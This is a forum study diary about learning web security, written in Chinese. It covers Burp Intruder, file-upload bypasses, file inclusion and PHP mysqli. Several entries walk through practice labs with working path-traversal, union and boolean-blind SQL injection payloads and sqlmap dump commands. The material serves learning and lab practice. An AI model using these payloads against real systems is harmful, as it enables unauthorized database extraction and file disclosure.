安全矩阵

 找回密码
 立即注册
搜索
楼主: only

曾玉芳学习日记

[复制链接]

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-28 21:10:26 | 显示全部楼层
本帖最后由 only 于 2020-4-28 21:19 编辑

4月28日:(借鉴于hack学习呀)
Intruder


在之前的学习中,已经使用过很多次爆破这个技能了,但是想到还没有对爆破进行系统的整理,趁着今天决定将和爆破相关的知识点做一下整合

一、简介
Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。你可以使用 Burp Intruder 方便地执行许多任务,包括枚举标识符,获取有用数据,漏洞模糊测试。合适的攻击类型取决于应用程序的情况,可能包括:缺陷测试:SQL 注入,跨站点脚本,缓冲区溢出,路径遍历;暴力攻击认证系统;枚举;操纵参数;拖出隐藏的内容和功能;会话令牌测序和会话劫持;数据挖掘;并发攻击;应用层的拒绝服务式攻击。
二、模块说明
Burp Intruder主要有四个模块组成:
1:Target 用于配置目标服务器进行攻击的详细信息。
2:Positions  设置Payloads的插入点以及攻击类型(攻击模式)。
3:Payloads  设置payload,配置字典
4:Opetions   此选项卡包含了request headers,request engine,attack results ,grep match,grep_extrack,grep payloads和redirections。你可以发动攻击之前,在主要Intruder的UI上编辑这些选项,大部分设置也可以在攻击时对已在运行的窗口进行修改。

1:Target 目标选项(Target tab)
这个选项是用来配置目标服务器的细节:

2:Positions 位置选项(Positions tab)
这个选项是用来配置在攻击里产生的所有 HTTP 请求的模板:

使用一对§字符来标记出有效负荷的位置,在这两个符号直接包含了模板文本的内容。当把一个有效负荷放置到一个给出的请求的特殊位置上时,就把这§符号放到这个位置,然后在两个符号之间的出现的文本都会被有效负荷替换。当有个特殊位置没有为一个给出的请求安排有效负荷时(这只适用"sniper"攻击类型),那个位置的§字符会被删除,出现在它们之间的文本不会变化。

当使用 Burp Suite 发送一个其他地方的请求时,Burp Intruder 会对你最想放置有效负荷的位置做一个最好的猜测,并且它把这些放置在每个 URL 和主体参数的值里,以及每个cookie 里。每个标记和它中间的文本都会被加亮以显得更清晰。你可以使用 Intruder 菜单上的选项标记的位置是要替换还是附加现有的参数值。在上面的请求编辑器里,指出了定义位置的数量和文本模板的大小。

你可以使用选项上的按钮来控制位置上的标记:

1. add § — 在当前光标位置插入一个位置标记。
2. clear § — 删除整个模板或选中的部分模板里的位置标记。
3. auto § — 这会对放置标记的位置做一个猜测,放哪里会有用,然后就把标记放到相应位置。这是一个为攻击常规漏洞(SQL 注入)快速标记出合适位置的有用的功能,然后人工标记是为自定义攻击的。
4.refresh — 如果需要,可以刷新编辑器里有颜色的代码。
5.clear — 删除整个编辑器内容。

3:Payloads 有效负荷选项(Payloads tab)
这个选项是用来配置一个或多个有效负荷的集合。如果定义了"cluster bomb"和"pitchfork"攻击类型,然后必须为每定义的有效负荷位置(最多8个)配置一个单独的有效负荷。使用"payload set"下拉菜单选择要配置的有效负荷。

选项1:Payload Sets Payload数量类型设置

选项2:Payload Opetions[Simple list]  该选项会根据选项1中Payload type的设置而改变

选项3:Payload Processing 对生成的Payload进行编码、加密、截取等操作

选项4:Payload Encoding 你可以配置哪些有效载荷中的字符应该是URL编码的HTTP请求中的安全传输。任何已配置的URL编码最后应用,任何有效载荷处理规则执行之后。 这是推荐使用此设置进行最终URL编码,而不是一个有效载荷处理规则,因为可以用来有效载荷的grep选项来检查响应为呼应有效载荷的最终URL编码应用之前

4:Opetions  选项卡(Options tab) 此选项卡包含了request headers,request engine,attack results ,grep match,grep_extrack,grep payloads和redirections。你可以发动攻击之前,在主要Intruder的UI上编辑这些选项,大部分设置也可以在攻击时对已在运行的窗口进行修改。

选项1:Request Headers 这些设置控制在Intruder是否更新配置请求头

如果选中‘update Content-Length header’框,Burp Intruder 会使用每个请求的 HTTP 主体长度的正确值,添加或更新这个请求里 HTTP 消息头的内容长度。这个功能对一些需要把可变长度的有效载荷插入到 HTTP 请求模板主体的攻击是很有必要的。这个 HTTP 规范和大多数 web 服务器一样,需要使用消息头内容长度来指定 HTTP 主体长度的正确值。如果没有指定正确值,目标服务器会返回一个错误,也可能返回一个未完成的请求,也可能无限期地等待接收请求里的进一步数据。

如果选中‘set Connection: close’框,则 Burp Intruder 会添加或更新 HTTP 消息头的连接来请求在每个请求后已关闭的连接。在多数情况下,这个选项会让攻击执行得更快。
选项2:Request Engine 设置发送请求的线程、超时重试等。

选项3:Attack Results 设置攻击结果的显示。

选项4:Grep - Match 在响应中找出存在指定的内容的一项。

选项5:Grep - Extract 通过正则提取返回信息中的内容。

选项6:Grep - Payloads  这些设置可以用于包含已提交的有效负载的反射的标志结果项目。如果启用了此选项,BurpSuite会添加包含一个复选框指示当前负载的值在每个响应发现新的结果列。

选项7:Redirections 重定向响应,控制Burp在进行攻击时如何处理重定向。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-29 23:02:28 | 显示全部楼层
4月29日:
初识php文件包含


今天主要了解了一下文件包含,这个和刚刚学习的php息息相关,正好可以加深理解

文件上传漏洞原理:

网站web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个web可访问的目录上,并将恶意文件传递给PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。
根据网站使用及可解析的程序脚本不同,此处可以上传的恶意脚本可以是PHP、ASP、JSP文件,也可以是篡改后缀后的这几类脚本。

WebShell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以将其称之为 一种网页后门。攻击者在入侵了一个网站后,通常会将这些 asp 或 php 后门文件与网站服务器 web 目录 下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。

一个正常的上传流程通常会经过客户端与服务端的安全检查,而服务端检测又主要分为4类:
1、客户端JavaScript检查
客户端检测一般只是在JavaScript代码中加入了对扩展名的黑白名单检查,这种方式只能防止一些普通用户上传错误,只要用burpsuite在文件上传时进行截断改文件后缀名就可绕过
2、服务端检测:
A、MIME类型的检查
(就是检查Content-Type的值,MIME类型决定了某种扩展名用什么应用程序打开,GIF的MIME值为image/gif.)
B、文件扩展名检查
(与前端js后缀名检测类似,只不过是在后端进行检查,有时候还可以配合解析漏洞结合目录路径攻击,例如test.asp/test.jpg,解析漏洞后面会讲到)
后端后缀名检查也分两种,黑名单与白名单。
黑名单检查绕过:
1、文件名大小写绕过,比如代码中有php规则,那么可以使用PHP或者pHP绕过
2、黑名单列表绕过,对黑名单列表中没有的扩展名进行攻击,比如as
3、利用windows和Linux系统的特性进行特殊文件名绕过,a.asp. a.asp_等
4、htaccess 文件攻击
白名单绕过:
1、截断攻击,比如a.asp%00.gif等
2、配合解析漏洞
C、目录路径的检查
(对目录路径可进行0x00截断绕过;以及可以控制目录地址,上传文件夹的参数可控)

C、目录路径的检查
(对目录路径可进行0x00截断绕过;以及可以控制目录地址,上传文件夹的参数可控)
03、上传文件的分类与总结
1、上传文件是PHP、JSP、ASP等脚本代码,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
2、上传文件是crossdomain.xml,导致可以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似)
3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行植入到pc中。
4、上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
在大多数情况下,文件上传漏洞一般都是指“上传的Web脚本被服务器解析从而获取网站shell权限”,也就是webshell,要完成上传漏洞攻击需要满足以下几个条件:
1、上传的文件能够被Web容器解释执行,所以文件上传后所在的目录需要解析器可以执行目录下的文件,也就是说文件目录必须在web容器覆盖路径内才行。
2、用户可以直接通过浏览器进行访问这个shell文件,如果web容器不能解析这个文件,那么也不能算是漏洞。
3、最后,上传的shell文件如果被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
04、修复与防御
如何杜绝此类漏洞,其实需要根据攻击手段来分部进行,以上总结了如何绕过文件上传,实际上可以根据每种绕过手段针对的进行防御。
1、设置文件上传的目录设置为不可执行
2、使用白名单方式检查文件类型。处理图片可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的恶意代码。
3、对文件进行随机性且不可猜解的重命名。
4、不能有本地文件包含漏洞及解析漏洞。


回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-30 21:57:36 | 显示全部楼层
本帖最后由 only 于 2020-4-30 22:01 编辑

4月30日:

今天主要是复习了一下sqlmap的使用,尝试用sqlmap对一些靶场进行测试,然后理解了一下文件包含漏洞
PHP中文件包含函数有以下四种
(1)require()
(2)require_once()
(3)include()
(4)include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
include_once(),require_once()这两个函数,与前两个的不同之处就在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。‘

1.简单文件包含
创建1.php、b.php、c.php

访问127.0.0.1/1.php?sj=b.php

2.本地文件包含
创建2.php、3.php
  


访问127.0.0.1/2.php?sj=3.php

3.本地文件包含——升级
创建1.txt

浏览器访问127.0.0.1/1.txt

将1.txt重新命名为1.jpg
浏览器访问127.0.0.1/2.php?sj=1.jpg



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-5-2 21:19:38 | 显示全部楼层
本帖最后由 only 于 2020-5-2 21:23 编辑

5月2日:

今天对之前学习的php MySQLi语法进行的复习,并作出了相关的总结
1.mysql的准备操作
  1. 连接数据库
  2.         $mydb = mysqli_connect('localhost',用户名,密码,数据库名,3306(端口号));
  3.         连接成功返回1,失败返回0
  4. 连接判断
  5.         mysqli_connect_errno();                                如果返回0则表示连接成功
  6.         exit(mysqli_connect_error());                返回一个字符串描述的错误代码信息,并退出
  7. 设置编码格式
  8.         mysqli_set_charset($mydb, 'utf8');
  9. 在mysqli操作中将字符串里的特殊字符进行转义        
  10.         mysqli_real_escape_string($mydb,$str);
  11. 切换数据库操作
  12.         mysqli_select_db($mydb,'要切换的数据库名');
  13. 关闭数据库连接
  14.         mysqli_close($mydb);
复制代码

2.加密
  1. md5($str);
  2. sha1($str);
复制代码
3.一些常见sql语句
  1. 插入数据
  2.         $sql="insert into 表(id,name) values (1,'小明'),(2,'小华')....";
  3. 更新数据
  4.         $sql="update 表 set name='小花' where id=1";                        //更改1个数据
  5.         $sql="update 表 set id=2,name='小花' where id=1";        //更改2个
  6. 删除数据
  7.         $sql="delete from 表 where id=1;
  8. 查询数据
  9.         $sql="select * from 表 where id=1";
  10. 查询数量
  11.         $sql="select count(*)  from 表 where id=1";
  12.                         • max()         表示查询某个字段的最大值
  13.                         • min()                表示查询某个字段的最小值
  14.                         • avg()                表示查询某个字段的平均值
  15.                         • sum()                表示求出某个字段的总和
  16. 模糊查询
  17.         $sql="select * from 表 where name like '%明%' and id>1";
  18. 多参数的查询
  19.         $sql="select count(*) from tb_content where id in (1,2,3,4)";
  20. 关联表查询
  21.         (1)$sql="select tb1.id,tb1.name,tb2.id,tb2.name
  22.                                                   from tb_table1 tb1,tb_table2 tb2
  23.                                                   where tb1.id=tb2.id";
  24.         (2)$sql="select tb1.id,tb1.name,tb2.id,tb2.name from tb_table1 tb1
  25.                                                  INNER JOIN tb_table2 tb2  
  26.                                                  ON tb1.id=tb2.id where tb1.id>1";
  27.                         //3张表以上
  28.                         $sql="select tb1.id,tb1.name,tb2.id,tb2.name from tb_table1 tb1
  29.                                                  INNER JOIN tb_table2 tb2  ON tb1.id=tb2.id
  30.                                                  INNER JOIN tb_table3 tb3  ON tb1.id=tb3.id";
  31.         注:tb1和tb2是给表起的别名
  32.                         ... INNER JOIN ... ON ..         //.查询的结果是 2 张表或多张表中“同时满足”条件的数据
  33.                         ... LEFT  JOIN ... ON ...//查询的结果是 2 张表“同时满足”条件的数据与左侧表中不符合条件的数据的结合
  34.                         ... RIGHT  JOIN ... ON ...//查询的结果是 2 张表“同时满足”条件的数据与右侧表中不符合条件的数据的结合
  35.                         ... FULL JOIN ... ON ...//查询的结果是 2 张表“同时满足”条件的数据与左侧表和右侧表中不符合条件的数据的结合
  36. 排序
  37.         $sql="select * from 表 order by id asc";//asc:升序排列,desc:降序排列
  38. 查询特定几条数据,分页相关
  39.         //sql语句中 ,limit 0,3        表示从第0条数据开始取3条数据
  40.         $sql="selet * from table limit 0,3";
  41. 向mysql数据库插入时间datetime类型
  42.         $sql="insert into table values('2017-03-02 15:22:22')";
  43.         //末尾秒,分,时,可以依次省略,但日,月,年不可以省略
  44.         获取当前时间
  45.         (1)date_default_timezone_set("PRC");        //先设置时区,或者填Asia/chongqing
  46.                 $time=date("Y-m-d H-i-s", time());
  47.         (2)        $sql="insert into table values('id',now())";
  48.                 注意:now()也可以获取当前的具体时间,但是只能在sql语句中使用
  49.         (3)        $sql="insert into table values('id',CURDATE())";
  50.                 注:CURDATA()获取的是当前"年-月-日"时间,也是只能在sql语句中使用
复制代码
4.执行mysql语句
  1. $mydb= mysqli_connect('localhost','root','root','mysql',3306);
  2. mysqli_query($mydb,sql语句);
  3. 执行判断
  4. mysqli_errno($mydb);                        如果返回0则表示执行成功
  5. exit(mysqli_error());                返回一个字符串描述的错误代码信息,并退出
复制代码
5.获取查询结果
  1. $mydb= mysqli_connect('localhost','root','root','mysql',3306);
  2. $sql="select * from table";
  3. $result = mysqli_query($mydb,$sql);
  4. 循环输出全部数据
  5.         while($data=mysqli_fetch_row($result)){
  6.                 var_dump($data);
  7.         }
  8. (1)mysqli_fetch_row($result);                                        返回索引数组,返回一条数据
  9. (2)mysqli_fetch_assoc($result);                                返回key-value关联数组,返回一条数据
  10. (3)mysqli_fetch_array($result);                                返回索引和关联数组,返回一条数据
  11. (4)mysqli_fetch_all($result);                                        默认返回索引数组,返回全部数据
  12.     mysqli_fetch_all($result, MYSQLI_ASSOC);        返回key-value关联数组       
  13. (5)mysqli_num_rows(执行结果);                                        返回数据条数
复制代码
6.释放与结果相关的内存
  1. mysqli_free_result($result);
  2. 注:返回的结果集在数据量很大的时候需要很多的内存支持,所以在操作完结果集的时候有必要立即释放与一个结果集相关的内存
复制代码
7.判断执行是否成功
  1. mysqli_real_query($mydb, sql语句);                返回的是一个布尔值,成功为true
  2. 注:mysqli_query($mydb,$sql)返回的是一个结果集
复制代码
mysqli_real_query($mydb, sql语句);                返回的是一个布尔值,成功为true
注:mysqli_query($mydb,$sql)返回的是一个结果集






  1. $str=<<<STRING
  2.         adasdasda''""""'''as;;'''dasdasd       
  3.         STRING;
  4. $str=mysqli_real_escape_string($mydb, $str);                将所有的特殊字符进行转义
  5. $sql = "insert into table(name) values('{$str}')";
  6. mysqli_query($mydb,$sql);        执行
复制代码
8.转义字符串
  1. $str=<<<STRING
  2.         adasdasda''""""'''as;;'''dasdasd       
  3.         STRING;
  4. $str=mysqli_real_escape_string($mydb, $str);                将所有的特殊字符进行转义
  5. $sql = "insert into table(name) values('{$str}')";
  6. mysqli_query($mydb,$sql);        执行
复制代码
9.一次性执行多条sql语句
  1. $sql="insert into table(name) values("小明");insert into table(name) values("小花")";
  2. mysqli_multi_query($mydb,$sql);                只有第一条语句不出错,就返回true
复制代码
10.预处理语句机制
  1. (1)//准备sql语句里面使用占位符?
  2.         $sql="insert into table(id,name) values(?,?)";
  3.         //准备要执行的sql语句
  4.         $stmt = mysqli_prepare($mydb, $sql);
  5.         //为?绑定占位符
  6.         mysqli_stmt_bind_param($stmt, 'is', $val1, $val2);
  7.                 i        int,整数类型
  8.                 s        str,字符串数据类型
  9.                 d        double或float
  10.                 b        二进制数据类型
  11.         //执行准备好的sql语句
  12.         $val1 = 1;
  13.         $val2 = "小明";
  14.         mysqli_stmt_execute($stmt);
  15.         //第二次执行准备好的sql语句
  16.         $val1 = 2;
  17.         $val2 = "小王";
  18.         mysqli_stmt_execute($stmt);
  19.         。。。

  20. (2)如果是select之类的需要具体结果的语句
  21.         $sql="select * from table where id<?";
  22.         $stmt=mysqli_prepare($stmt,'i',$val1);

  23.         $val1 = 4;
  24.         if(mysqli_stmt_execute($stmt)){
  25.                 mysqli_stmt_bind_result($stmt,$id,$result);
  26.                 while(mysqli_stmt_fetch($stmt)){
  27.                         echo "{$id}->{$result} <br/>";
  28.                 }
  29.         }
复制代码
11.其他
  1. 判断操作是否成功
  2.         mysqli_affected_rows($mydb)==1                判断是否影响了1行
复制代码






回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-5-4 21:51:29 | 显示全部楼层
5月4日:
今天主要回顾了一下python的语法,回顾了一下寒假敲过的代码
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-5-6 20:38:42 | 显示全部楼层
本帖最后由 only 于 2020-5-6 20:40 编辑

5月6日:

sql where 和 having的区别
1.类型:
“Where”是一个约束声明,在查询数据库的结果返回之前对数据库中的查询条件进行约束,即在结果返回之前起作用,且where后面不能使用“聚合函数”;
“Having”是一个过滤声明,所谓过滤是在查询数据库的结果返回之后进行过滤,即在结果返回之后起作用,并且having后面可以使用“聚合函数”。
2.使用的角度:
where后面之所以不能使用聚合函数是因为where的执行顺序在聚合函数之前,
如下面这个sql语句:select sum(score) from student group by student.sex where sum(student.age)>100;

having既然是对查出来的结果进行过滤,那么就不能对没有查出来的值使用having,
如下面这个sql语句: select student.id,student.name from student having student.score >90;
3.用的地方不一样
where可以用于select、update、delete和insert into values(select * from table where …)语句中。
having只能用于select语句中
执行的顺序不一样
where的搜索条件是在执行语句进行分组之前应用
having的搜索条件是在分组条件后执行的
即如果where和having一起用时,where会先执行,having后执行
4.子句有区别
where子句中的条件表达式having都可以跟,而having子句中的有些表达式where不可以跟;having子句可以用集合函数(sum、count、avg、max和min),而where子句不可以。
总结
1.WHERE 子句用来筛选 FROM 子句中指定的操作所产生的行。
2.GROUP BY 子句用来分组 WHERE 子句的输出。
3.HAVING 子句用来从分组的结果中筛选行


回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-5-8 22:31:29 | 显示全部楼层
本帖最后由 only 于 2020-5-8 22:35 编辑

5月8日:

本地文件包含漏洞实例



我们还是通过pikachu来完成这个实例
首先打开pikachu我们可以看到如下界面

我们选择任意球员

查看url我们可以发现,所有的球员都是存在后台的php文件里面,但是是通过前端上传,也就是说前端的测试人员可以去修改这个东西

我们可以吧这个文件改成后台常用的配置文件,例如:
Filename = ../../../../../etc/password

我们可以看见,对应的配置文件已经被暴露,这就是一个典型的本地文件包含漏洞,接下来我们来分析一下后端的代码

我们可以发现他会直接对前端提交过来的文件名进行获取,如何通过include()函数对其进行包含,而这里的漏洞是,开发者忽略了用户可以修改本地文件这个细节,因此存在了文件包含漏洞


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-5-10 21:58:00 | 显示全部楼层
本帖最后由 only 于 2020-5-10 22:10 编辑

5月10日:

Webug之显错注入


今天在紧张刺激的网鼎杯赛事后,发现自己的实力确实有待提高,学习的道路还很长远。而今天的任务主要是在webug这个靶场练习了一下注入,主要是采用手工注入的方法去获取到了flag!

首先我们打开靶场

我们在url处进行测试
首先我们来判断是否存在注入点
将url处id = 1依次改为
  1. id = 1'
  2. id = 1"
  3. id = 1)
复制代码

我们可以发现当输入id = 1'时,网页存在报错

因此我们可以判断这里存在字符型的sql注入漏洞

接下来我们要做的是猜测出其字段数,依次输入
  1. id = 1' order by 1--+
  2. id = 1' order by 2--+
  3. . . .
复制代码

当输入到order by 3时,我们可以发现界面已经不再报错,因此我们可以判断列数为2

接下来我们采用联合注入就可以获得该数据库的名称
  1. id = 1'union select 1,database() --+
复制代码
我们成功获得数据库名为webug

下一步我们就是获取表名了,这里我们要用到一个我们之前使用过的group_concat()函数
  1. 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'webug' --+
复制代码


我们可以发现,显示出来了很多个表,根据经验来说,我们要的flag一般是在flag这个表里面的

根据我们的猜测,我们接下来破解flag表里面的列名
  1. 1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'flag' --+
复制代码


我们获得了两个字段,可以进一步推测flag在flag表里面
  1. 1' union select 1,flag from webug.flag --+
复制代码


最后我们成功获取flag!dfafdasfafdsadfa



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-5-11 22:39:46 | 显示全部楼层
本帖最后由 only 于 2020-5-14 21:23 编辑

5月11日:
Webug之布尔注入


今天主要在webug靶场上尝试了第二个注入,首先咱们打开靶场

当我发现和第一个显错注入界面貌似一样时,我忍不住用昨天的方法尝试了一遍,我的天,居然也能获得flag!但是人家第二关叫布尔注入,我们不能辜负了这个名字,于是我还是决定用布尔注入的方式继续试一次

在测试之前,我觉得巩固回顾一下布尔注入是什么是很有必要的
我们知道布尔型是计算机里的一种数据类型,只有true和false两个值,而布尔型注入是盲注的一种,也就是说我们输入的sql语句不管有没有执行,也只会有两种结果,那么我们关心的地方就是,SQL语句是否有执行成功,那么这就需要我们去构造逻辑表达式来判断是否正确

了解完这个之后,我们正式开始注入。

首先为了”不负盛名”,我们还是走个流程判断是否是布尔型吧,我们输入
  1. id = 1'
复制代码


可以发现页面已经发生改变,但是不同于之前的显错注入,这次并没有报错,因此我们可以判断存在注入点,并且为布尔型注入

接下来我们按照往常操作,首先判断字段数
  1. id = 1' order by 1--+
  2. id = 1' order by 2--+
  3. id = 1' order by 3--+
复制代码
我们可以发现,当order by 3时,页面发出改变,因此可以判断字段数为2

下一步我们要做的就是暴库,而这个不能直接获取,需要绕几个弯,首先我们来判断一下数据库名的长度,这里我们采用二分法来获取
  1. id = 1' and (length(database())>10)--+      界面改变     false
  2. id = 1' and (length(database())>5)--+       界面改变     false
  3. id = 1' and (length(database())>3)--+       界面不改变   true
  4. id = 1' and (length(database())>4)--+       界面不改变   true
复制代码

>4正确>5错误因此我们基本可以判断长度为5
  1. id = 1' and (length(database())=5)--+
复制代码

界面不改变,说明为true,长度果然为5

知道了长度为5之后我们要做的就是猜测每个字母分别是什么
  1. id = 1' and (ord(substr(database(),1,1))>200)--+   界面改变     false
  2. id = 1' and (ord(substr(database(),1,1))>118)--+   界面不改变   true
  3. id = 1' and (ord(substr(database(),1,1))>119)--+   界面改变     false
复制代码

同样的>118正确,>119错误,我们可以知道,ascii为119正确
  1. id = 1' and (ord(substr(database(),1,1))=119)--+
复制代码

界面不改变,说明正确,第一个字母为”w”
用相同的方法我们可以获得其他字母是什么,最后我们知道数据库名为webug

当然也可以用另外一种方法
  1. id=1' and left(database(),1)>'a' --+
复制代码

这种方法也是同样的原理,也可采用二分法来判断,最后我们得出
  1. id=1' and left(database(),1)='w' --+
复制代码

这个语句正确,以此类推也可以知道库名为”webug”

接下来我们来爆表
  1. id = 1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>98%23
复制代码
用这个语句以此类推便可以获得所有的表,过程实在麻烦,我决定用联合注入的方式来获取表名
  1. id = 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'webug' --+
复制代码


看到这个,我毫不犹豫选择flag表
  1. id = 1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'flag' --+
复制代码


然后和昨天一样选择了flag里结果的得到dfafdasfafdsadfa
自信满满,结果flag错误,我一时不知道怎么说了,也就是最开始我拿到的和第一关一样的flag是错误的,老天和我开了一个巨大的玩笑,flag不在flag表里面,害,我只能继续查找

在那么多个表里面,最终尝试了很多次,然后将目标锁定在env_list表里的envflag里面发现了一段很长的东西

勉强猜测,可能每一关的flag都在里面,那么我们来用第一关的flag验证一下
  1. id =1' and substr((select envflag from env_list where id=1 limit 0,1),1,16) = 'dfafdasfafdsadfa'--+
复制代码
界面不改变,太好了,猜测正确,说明我们只要修改id就可以猜测出第二关的flag
我们修改id,然后猜测flag的第一个字母!
  1. id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>98--+
  2. id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>99--+
  3. . . .
  4. id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>102--+
复制代码

当大于102时,界面改变,返回结果为false,说明第一个字母的asscii为102

以此类推,我们可以获得flag为fdsafsdfa

当然还有一种更直接的方法,直接输入payload
  1. id=1' union select 1,envFlag from env_list where env_list.id=1 #
复制代码
然后就可以获得flag

害,不得不说,这个题目真的太狗了,太折腾人了,不过顺利拿到flag还是很开心的

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-5-12 22:13:53 | 显示全部楼层
本帖最后由 only 于 2020-5-12 23:22 编辑

5月12日:

Webug之布尔注入(二)


——使用sqlmap注入


从昨天的情况来看,我们很明显的可以看的出,用手工注入的方式在碰到盲注这种棘手的注入面前是十分麻烦的,既费时间还费力气,这个时候我们的注入大王sqlmap就其作用啦,使用工具注入要比手工快的多,毕竟机器的效率还是很高的。所以今天,我决定用sqlmap再次完成布尔注入

首先,我们打开sqlmap,命令和之前的一样
  1. conda activate python27
  2. (python27) C:\Users\DELL>d:
  3. (python27) D:\>cd D:\sqlmap\sqlmapproject-sqlmap-aaa0c5c
  4. (python27) D:\sqlmap\sqlmapproject-sqlmap-aaa0c5c>python sqlmap.py -h
复制代码

接下来我们开始注入,第一步我们首先判断是否存在注入点
  1. python sqlmap.py -u"http://www.sec119.com:32768/control/sqlinject/bool_injection.php?id=1"
复制代码

我们可以看见,id这个变量这里存在注入点,那么我们接下来要做的就是获取其数据库名
  1. python sqlmap.py -u"http://www.sec119.com:32768/control/sqlinject/bool_injection.php?id=1" --current-db
复制代码


我们已经成功获得其数据库名,接下来是获取表名
  1. python sqlmap.py -u"http://www.sec119.com:32768/control/sqlinject/bool_injection.php?id=1" -D webug -tables
复制代码


可以看见一共打印出来了七张表,由我们昨天的思路我们可以知道flag是在env_list这个表里面的,现在我们直接把这张表打印出来看看,当然,如果是第一次测试,我们可能要测试很多张表,而今天是基于昨天的基础上来做的,所以就简单点简化过程吧,方法都是类似的
  1. python sqlmap.py -u "http://www.sec119.com:32768/control/sqlinject/bool_injection.php?id=1" -D webug -T env_list --cookie="PHPSESSID=5rjrv092s6jo094j7sifkbitl3" --dump --flush-session
复制代码

接下来我们来看看这张表里面的数据

我们可以发现一个问题,这张表确实是每一关flag的集合,一不小心居然获取了所有的flag,由此可见,SQL注入危害是很大的,存在该漏洞很可能会泄漏掉很多重要的数据,甚至导致整个数据库数据流失,这还是要引起我们的注意的!


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 22:24 , Processed in 0.025786 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表